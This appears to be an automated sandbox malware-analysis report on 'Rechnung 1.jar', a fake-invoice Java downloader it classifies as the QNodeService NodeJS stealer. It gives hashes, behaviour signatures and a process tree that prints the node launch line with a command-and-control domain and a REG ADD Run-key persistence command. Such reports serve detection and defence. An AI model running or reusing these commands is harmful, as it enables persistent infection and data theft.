Analysis
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max time kernel
115s -
max time network
139s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
24-11-2020 19:28
Static task
static1
Behavioral task
behavioral1
Sample
Rechnung 1.jar
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Rechnung 1.jar
Resource
win10v20201028
General
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Target
Rechnung 1.jar
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Size
50KB
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MD5
5847b21081ad895a7af96259f5ec0d59
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SHA1
a690cb52bbb216fa181d700df67181c90c31d014
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SHA256
bd2ef877f531d56a5a2a93d269d19e09195b908b2f39cd8b092f03916ed3b2b1
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SHA512
cb844a4b2e976bad6d44c316b9718a2f795b00b91690cfd340ad4e7782eca279f58ff74cc79bc63d9d79e5aa8f232c2fc3e5cdb8b71f8d7a8f125e501d80224f
Malware Config
Signatures
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QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
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Executes dropped EXE 3 IoCs
Processes:
node.exenode.exenode.exepid process 4000 node.exe 1020 node.exe 504 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\75b8ffbb-a237-46bf-95d5-27d50d438190 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
Processes:
resource yara_rule C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 21 wtfismyip.com 22 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
node.exenode.exenode.exepid process 4000 node.exe 4000 node.exe 4000 node.exe 4000 node.exe 1020 node.exe 1020 node.exe 1020 node.exe 1020 node.exe 504 node.exe 504 node.exe 504 node.exe 504 node.exe 504 node.exe 504 node.exe 504 node.exe 504 node.exe 504 node.exe 504 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
java.exejavaw.exenode.exenode.exenode.execmd.exedescription pid process target process PID 636 wrote to memory of 2220 636 java.exe javaw.exe PID 636 wrote to memory of 2220 636 java.exe javaw.exe PID 2220 wrote to memory of 4000 2220 javaw.exe node.exe PID 2220 wrote to memory of 4000 2220 javaw.exe node.exe PID 4000 wrote to memory of 1020 4000 node.exe node.exe PID 4000 wrote to memory of 1020 4000 node.exe node.exe PID 1020 wrote to memory of 504 1020 node.exe node.exe PID 1020 wrote to memory of 504 1020 node.exe node.exe PID 504 wrote to memory of 4060 504 node.exe cmd.exe PID 504 wrote to memory of 4060 504 node.exe cmd.exe PID 4060 wrote to memory of 4020 4060 cmd.exe reg.exe PID 4060 wrote to memory of 4020 4060 cmd.exe reg.exe
Processes
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C:\ProgramData\Oracle\Java\javapath\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\Rechnung 1.jar"1⤵
- Suspicious use of WriteProcessMemory
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C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3d23a556.tmp2⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DxLeVY\boot.js --hub-domain september101991.ddns.net4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DxLeVY\boot.js --hub-domain september101991.ddns.net5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "75b8ffbb-a237-46bf-95d5-27d50d438190" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "75b8ffbb-a237-46bf-95d5-27d50d438190" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestampMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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C:\Users\Admin\AppData\Local\Temp\3d23a556.tmpMD5
5847b21081ad895a7af96259f5ec0d59
SHA1a690cb52bbb216fa181d700df67181c90c31d014
SHA256bd2ef877f531d56a5a2a93d269d19e09195b908b2f39cd8b092f03916ed3b2b1
SHA512cb844a4b2e976bad6d44c316b9718a2f795b00b91690cfd340ad4e7782eca279f58ff74cc79bc63d9d79e5aa8f232c2fc3e5cdb8b71f8d7a8f125e501d80224f
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C:\Users\Admin\AppData\Local\Temp\_qhub_node_DxLeVY\boot.jsMD5
3859487feb5152e9d1afc4f8cd320608
SHA17bf154c9ddf3a71abf15906cdb60773e8ae07b62
SHA2568d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13
SHA512826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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memory/504-171-0x00000243A6680000-0x00000243A6681000-memory.dmpFilesize
4KB
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memory/504-169-0x0000000000000000-mapping.dmp
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memory/1020-165-0x0000000000000000-mapping.dmp
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memory/1020-167-0x0000032CC8B80000-0x0000032CC8B81000-memory.dmpFilesize
4KB
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memory/2220-52-0x0000000000000000-mapping.dmp
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memory/4000-164-0x000003F791540000-0x000003F791541000-memory.dmpFilesize
4KB
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memory/4000-162-0x0000000000000000-mapping.dmp
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memory/4020-173-0x0000000000000000-mapping.dmp
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memory/4060-172-0x0000000000000000-mapping.dmp